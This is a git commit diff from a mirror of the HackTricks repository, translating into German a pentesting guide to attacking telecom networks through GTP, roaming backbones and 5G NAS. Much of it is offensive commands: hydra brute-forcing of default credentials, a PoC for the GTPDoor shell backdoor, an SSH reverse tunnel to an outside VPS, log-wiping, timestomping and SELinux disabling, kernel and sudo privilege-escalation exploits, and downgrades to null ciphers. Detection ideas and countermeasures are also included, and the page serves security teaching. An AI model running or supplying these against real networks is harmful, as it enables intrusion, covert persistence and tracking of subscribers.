maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

Browse Source
This commit is contained in:
Translator 2025-09-07 20:10:39 +00:00
parent 74b3d151b0
commit 40782bbc18
1 changed files with 155 additions and 48 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

203
src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md
View File

@ -1,27 +1,27 @@
# Telecom-Netzwerkausnutzung (GTP / Roaming-Umgebungen)
# Telekommunikations-Netzwerk-Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobile-Core-Protokolle (GPRS Tunneling Protocol – GTP) durchqueren oft semi-vertrauenswürdige GRX/IPX-Roaming-Backbones. Da sie über ungesichertes UDP ohne nahezu keine Authentifizierung laufen, **kann in der Regel jeder Zugang innerhalb eines Telekomperimeters direkt auf die Kernsignalisierungsebenen zugreifen**. Die folgenden Notizen sammeln offensive Tricks, die in der Wildnis gegen SGSN/GGSN, PGW/SGW und andere EPC-Knoten beobachtet wurden.
> Mobile-Core-Protokolle (GPRS Tunnelling Protocol – GTP) durchqueren oft halb-vertrauenswürdige GRX/IPX Roaming-Backbones. Da sie über unverschlüsseltes UDP mit nahezu keiner Authentifizierung laufen, **kann jeder foothold innerhalb eines Telekom-Perimeters normalerweise direkt die Kern-Signalisierungsebenen erreichen**. Die folgenden Notizen sammeln offensive Tricks, die in der Wildnis gegen SGSN/GGSN, PGW/SGW und andere EPC-Nodes beobachtet wurden.
## 1. Recon & Erster Zugriff
## 1. Recon & Initial Access
### 1.1 Standard-OSS / NE-Konten
Eine überraschend große Anzahl von Netzwerk-Elementen von Anbietern wird mit fest codierten SSH/Telnet-Benutzern wie `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … ausgeliefert. Eine dedizierte Wortliste erhöht den Erfolg bei Brute-Force-Angriffen erheblich:
### 1.1 Default OSS / NE Accounts
Eine überraschend große Anzahl von Hersteller-Netzwerkelementen wird mit fest kodierten SSH/Telnet-Benutzern ausgeliefert, wie `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Eine dedizierte wordlist erhöht die Brute-Force-Erfolgsrate dramatisch:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Wenn das Gerät nur eine Management-VRF bereitstellt, pivotieren Sie zuerst über einen Jump-Host (siehe Abschnitt «SGSN Emu Tunnel» unten).
Wenn das Gerät nur eine management VRF bereitstellt, zuerst über einen jump host pivoten (siehe Abschnitt «SGSN Emu Tunnel» weiter unten).
### 1.2 Host Discovery innerhalb von GRX/IPX
Die meisten GRX-Betreiber erlauben immer noch **ICMP Echo** über das Backbone. Kombinieren Sie `masscan` mit den integrierten `gtpv1` UDP-Proben, um GTP-C-Listener schnell zu kartieren:
### 1.2 Host-Erkennung innerhalb von GRX/IPX
Die meisten GRX-Operatoren erlauben immer noch **ICMP echo** über das Backbone. Kombiniere `masscan` mit den eingebauten `gtpv1` UDP-Probes, um schnell GTP-C-Listener zu kartieren:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Abfragen von Abonnenten – `cordscan`
## 2. Auflisten von Teilnehmern – `cordscan`
Das folgende Go-Tool erstellt **GTP-C Create PDP Context Request**-Pakete und protokolliert die Antworten. Jede Antwort zeigt den aktuellen **SGSN / MME** an, der die abgefragte IMSI bedient, und manchmal das besuchte PLMN des Abonnenten.
Das folgende Go-Tool erstellt **GTP-C Create PDP Context Request**-Pakete und protokolliert die Antworten. Jede Antwort offenbart die aktuelle **SGSN / MME**, die die abgefragte IMSI bedient, und manchmal das vom Teilnehmer besuchte PLMN.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -30,19 +30,19 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Wichtige Flags:
- `--imsi` Zielteilnehmer IMSI
- `--oper` Heimat / HNI (MCC+MNC)
- `-w` Rohpakete in pcap schreiben
- `--imsi` IMSI des Zielteilnehmers
- `--oper` Home / HNI (MCC+MNC)
- `-w` Schreibe rohe Pakete in pcap
Wichtige Konstanten im Binärformat können gepatcht werden, um Scans zu erweitern:
Wichtige Konstanten innerhalb des Binaries können gepatcht werden, um Scans auszuweiten:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Codeausführung über GTP – `GTPDoor`
## 3. Code-Ausführung über GTP – `GTPDoor`
`GTPDoor` ist ein kleiner ELF-Dienst, der **UDP 2123 bindet und jedes eingehende GTP-C-Paket analysiert**. Wenn die Nutzlast mit einem vorab geteilten Tag beginnt, wird der Rest entschlüsselt (AES-128-CBC) und über `/bin/sh -c` ausgeführt. Die stdout/stderr werden in **Echo Response**-Nachrichten exfiltriert, sodass keine ausgehende Sitzung jemals erstellt wird.
`GTPDoor` ist ein winziger ELF-Dienst, der **UDP 2123 bindet und jedes eingehende GTP-C-Paket parst**. Wenn die Nutzlast mit einem pre-shared tag beginnt, wird der Rest mit (AES-128-CBC) entschlüsselt und über `/bin/sh -c` ausgeführt. stdout/stderr werden in **Echo Response**-Nachrichten exfiltriert, sodass nie eine ausgehende Sitzung erstellt wird.
Minimales PoC-Paket (Python):
```python
@ -52,40 +52,40 @@ cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detection:
* Jeder Host, der **unausgeglichene Echo-Anfragen** an SGSN-IPs sendet
* GTP-Version-Flag auf 1 gesetzt, während der Nachrichtentyp = 1 (Echo) – Abweichung von der Spezifikation
Erkennung:
* jeder Host, der **unbalanced Echo Requests** an SGSN-IP-Adressen sendet
* GTP-Version-Flag auf 1 gesetzt, während message type = 1 (Echo) – Abweichung von der Spezifikation
## 4. Pivoting Through the Core
## 4. Pivoting durch das Core-Netz
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` liefert einen SGSN-Emulator, der in der Lage ist, **einen PDP-Kontext zu einem echten GGSN/PGW** herzustellen. Sobald verhandelt, erhält Linux eine neue `tun0`-Schnittstelle, die vom roaming Peer erreichbar ist.
`OsmoGGSN` liefert einen SGSN-Emulator, der in der Lage ist, einen **PDP context zu einem echten GGSN/PGW aufzubauen**. Sobald ausgehandelt, erhält Linux ein neues `tun0`-Interface, das vom Roaming-Peer erreichbar ist.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Mit ordnungsgemäßem Firewall-Hair-Pinning umgeht dieser Tunnel nur Signalisierungs-VLANs und landet Sie direkt im **Datenverkehr**.
Durch korrektes firewall hair-pinning umgeht dieser Tunnel signalling-only VLANs und führt dich direkt in die **data plane**.
### 4.2 SSH Reverse Tunnel über Port 53
DNS ist in Roaming-Infrastrukturen fast immer offen. Exponieren Sie einen internen SSH-Dienst zu Ihrem VPS, der auf :53 lauscht, und kehren Sie später von zu Hause zurück:
### 4.2 SSH Reverse Tunnel over Port 53
DNS ist in Roaming-Infrastrukturen fast immer offen. Exponiere einen internen SSH-Dienst auf deinem VPS, der auf :53 lauscht, und kehre später von zu Hause aus zurück:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Überprüfen Sie, ob `GatewayPorts yes` auf dem VPS aktiviert ist.
Prüfe, dass `GatewayPorts yes` auf dem VPS aktiviert ist.
## 5. Verdeckte Kanäle
## 5. Covert Channels
| Kanal | Transport | Dekodierung | Anmerkungen |
|-------|-----------|-------------|-------------|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-Byte Schlüssel + 14-Byte Chunks (XOR) | reiner passiver Listener, kein ausgehender Verkehr |
| DNS – `NoDepDNS` | UDP 53 | XOR (Schlüssel = `funnyAndHappy`) kodiert in A-Record-Oktetten | überwacht `*.nodep` Subdomain |
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC Blob in privatem IE | vermischt sich mit legitimen GTP-C Gesprächen |
| Kanal | Transport | Decodierung | Hinweise |
|---------|-----------|----------|-------|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | horcht auf `*.nodep` Subdomain |
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mischt sich unter legitimen GTP-Verkehr |
Alle Implantate implementieren Watchdogs, die ihre Binärdateien **timestomp** und sich neu starten, wenn sie abstürzen.
Alle implants implementieren watchdogs, die ihre Binärdateien **timestomp** und sich nach einem Absturz re-spawnen.
## 6. Verteidigungsumgehung Cheatsheet
## 6. Defense Evasion Cheatsheet
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Privilegienausweitung auf Legacy NE
## 7. Privilege Escalation auf Legacy NE
```bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -111,30 +111,137 @@ python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
```
Reinigungstipp:
Bereinigungstipp:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Werkzeugkasten
## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – benutzerdefinierte Werkzeuge, die in vorherigen Abschnitten beschrieben sind.
* `FScan` : Intranet TCP-Scans (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS bösartiger WPAD
* `Microsocks` + `ProxyChains` : leichtgewichtiges SOCKS5-Pivoting
* `FRP` (≥0.37) : NAT-Überwindung / Asset-Bridging
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
* `FScan` : Intranet-TCP-Scans (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : leichtes SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Die 5G-Registrierungsprozedur läuft über NAS (Non-Access Stratum) auf NGAP. Bis NAS-Security durch Security Mode Command/Complete aktiviert ist, sind Initialmeldungen weder authentifiziert noch verschlüsselt. Dieses Pre-Security-Fenster ermöglicht mehrere Angriffswege, wenn man N2-Traffic beobachten oder manipulieren kann (z. B. on-path im Core, rogue gNB oder Testbed).
Registrierungsfluss (vereinfacht):
- Registration Request: UE sendet SUCI (verschlüsseltes SUPI) und capabilities.
- Authentication: AMF/AUSF senden RAND/AUTN; UE gibt RES* zurück.
- Security Mode Command/Complete: NAS-Integrity und Ciphering werden verhandelt und aktiviert.
- PDU Session Establishment: IP/QoS-Setup.
Lab-Setup-Tipps (non-RF):
- Core: Open5GS Default-Deployment reicht aus, um die Flows zu reproduzieren.
- UE: Simulator oder Test-UE; Dekodierung mit Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS innerhalb von NGAP), Sni5Gect (sniffen/patchen/injecten von NAS on-the-fly ohne kompletten rogue gNB hochzufahren).
- Nützliche Display-Filter in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Erwartet: UE/USIM muss SUCI senden (SUPI verschlüsselt mit dem public key des Home-Networks). Das Finden eines Klartext-SUPI/IMSI in der Registration Request zeigt einen Datenschutzfehler, der persistentes Subscriber-Tracking ermöglicht.
Wie testen:
- Capture die erste NAS-Nachricht in InitialUEMessage und inspiziere das Mobile Identity IE.
- Wireshark Quick-Checks:
- Es sollte als SUCI decodiert werden, nicht als IMSI.
- Filter-Beispiele: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` sollte vorhanden sein; Abwesenheit und gleichzeitige Präsenz von `imsi` weist auf ein leak hin.
Was zu sammeln ist:
- MCC/MNC/MSIN, falls offengelegt; pro-UE protokollieren und über Zeit/Orte verfolgen.
Gegenmaßnahmen:
- SUCI-only UEs/USIMs durchsetzen; Alarm bei jeglichem IMSI/SUPI in initialen NAS-Meldungen.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Hintergrund:
- UE gibt unterstützte EEA (Encryption) und EIA (Integrity) im UE Security Capability IE der Registration Request an.
- Gängige Zuordnungen: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sind Null-Algorithmen.
Problem:
- Da die Registration Request nicht integrity-geschützt ist, kann ein on-path Angreifer Capability-Bits löschen, um später während Security Mode Command die Auswahl von EEA0/EIA0 zu erzwingen. Manche Stacks erlauben fälschlicherweise Null-Algorithmen außerhalb von Emergency-Services.
Offensive Schritte:
- InitialUEMessage abfangen und das NAS UE Security Capability so modifizieren, dass nur noch EEA0/EIA0 advertised werden.
- Mit Sni5Gect das NAS-Paket hooken und die Capability-Bits patchen, bevor weitergeleitet wird.
- Beobachten, ob das AMF Null-Cipher/Integrity akzeptiert und Security Mode mit EEA0/EIA0 abschließt.
Verifikation/Sichtbarkeit:
- In Wireshark die ausgewählten Algorithmen nach Security Mode Command/Complete bestätigen.
- Beispielhafte passive Sniffer-Ausgabe:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Gegenmaßnahmen (verpflichtend):
- Konfigurieren Sie AMF/policy so, dass EEA0/EIA0 abgelehnt werden, außer dort, wo es strikt vorgeschrieben ist (z. B. Notrufe).
- Bevorzugen Sie die Durchsetzung von mindestens EEA2/EIA2; protokollieren und alarmieren Sie bei jedem NAS-Sicherheitskontext, der Null-Algorithmen aushandelt.
### 9.3 Replay der initial Registration Request (pre-security NAS)
Da initial NAS keine Integrität und Frische bietet, kann eine aufgezeichnete InitialUEMessage+Registration Request an das AMF wieder abgespielt werden.
PoC-Regel für 5GReplay, um passende Replays weiterzuleiten:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
Zu beobachten:
- Ob das AMF das Replay akzeptiert und mit der Authentifizierung fortfährt; fehlende Freshness-/Kontextvalidierung deutet auf Verwundbarkeit hin.
Gegenmaßnahmen:
- Replay-Schutz/Kontextbindung am AMF erzwingen; pro-GNB/UE Ratenbegrenzung und Korrelation.
### 9.4 Tooling-Hinweise (reproduzierbar)
- Open5GS: Starte ein AMF/SMF/UPF, um das Core zu emulieren; beobachte N2 (NGAP) und NAS.
- Wireshark: verifiziere Decodierungen von NGAP/NAS; wende die obigen Filter an, um Registration zu isolieren.
- 5GReplay: capture eine Registration, dann replaye spezifische NGAP- + NAS-Nachrichten gemäß der Regel.
- Sni5Gect: live sniff/modify/inject des NAS control-plane, um null-Algorithmen zu erzwingen oder Authentifizierungssequenzen zu stören.
### 9.5 Defensive Checkliste
- Registration Request kontinuierlich auf plaintext SUPI/IMSI inspizieren; auffällige Geräte/USIMs blockieren.
- EEA0/EIA0 ablehnen, außer für eng definierte Notfallverfahren; mindestens EEA2/EIA2 verlangen.
- Rogue oder fehlkonfigurierte Infrastruktur erkennen: unauthorized gNB/AMF, unerwartete N2-Peers.
- Alarm bei NAS Security Modes, die zu null-Algorithmen führen oder häufige Replays von InitialUEMessage verursachen.
---
## Erkennungsideen
1. **Jedes Gerät außer einem SGSN/GGSN, das Create PDP Context Requests erstellt**.
2. **Nicht-standardisierte Ports (53, 80, 443), die SSH-Handshakes von internen IPs empfangen**.
3. **Häufige Echo-Anfragen ohne entsprechende Echo-Antworten** – könnte auf GTPDoor-Beacons hinweisen.
4. **Hohe Rate von ICMP-Echo-Antwortverkehr mit großen, nicht-null Identifikations-/Sequenzfeldern**.
## Erkennungs-Ideen
1. **Jedes Gerät außer einem SGSN/GGSN, das Create PDP Context Requests aufbaut**.
2. **Nicht-standardmäßige Ports (53, 80, 443), die SSH handshakes von internen IPs empfangen**.
3. **Häufige Echo Requests ohne entsprechende Echo Responses** – könnte auf GTPDoor beacons hinweisen.
4. **Hohe Rate von ICMP echo-reply Traffic mit großen, ungleich null identifier/sequence Feldern**.
5. 5G: **InitialUEMessage mit NAS Registration Requests, die wiederholt von identischen Endpunkten stammen** (Replay-Signal).
6. 5G: **NAS Security Mode, das EEA0/EIA0 aushandelt** außerhalb von Notfallkontexten.
## Referenzen
- [Palo Alto Unit42 – Infiltration von globalen Telekommunikationsnetzen](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 – GPRS Tunneling-Protokoll (v16.4.0)
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}